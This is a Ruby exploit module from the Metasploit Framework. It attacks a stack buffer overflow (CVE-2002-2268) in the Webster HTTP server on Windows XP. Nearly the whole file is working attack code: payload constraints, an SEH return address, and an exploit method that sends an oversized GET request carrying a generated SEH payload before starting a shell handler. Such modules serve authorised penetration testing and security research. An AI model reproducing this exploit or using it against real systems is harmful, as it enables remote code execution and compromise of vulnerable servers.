##
# $Id: webster_http.rb 10887 2010-11-03 12:19:19Z patrickw $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Webster HTTP Server GET Buffer Overflow',
'Description' => %q{
This exploits a stack buffer overflow in the Webster HTTP server.
The server and source code was released within an article from
the Microsoft Systems Journal in February 1996 titled "Write a
Simple HTTP-based Server Using MFC and Windows Sockets".
},
'Author' => [ 'patrick' ],
'Version' => '$Revision: 10887 $',
'References' =>
[
[ 'CVE', '2002-2268' ],
[ 'OSVDB', '44106' ],
[ 'BID', '6289' ],
[ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],
[ 'URL', 'http://www.netdave.com/webster/webster.htm' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp
[ 'Debug', { 'Ret' => 0x44434241 } ] , # todo - add more targets.
],
'DisclosureDate' => 'Dec 02 2002',
'DefaultTarget' => 0))
end
def exploit
print_status("Sending request...")
seh = generate_seh_payload(target.ret)
send_request_raw({
'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh
}, 2)
handler
end
end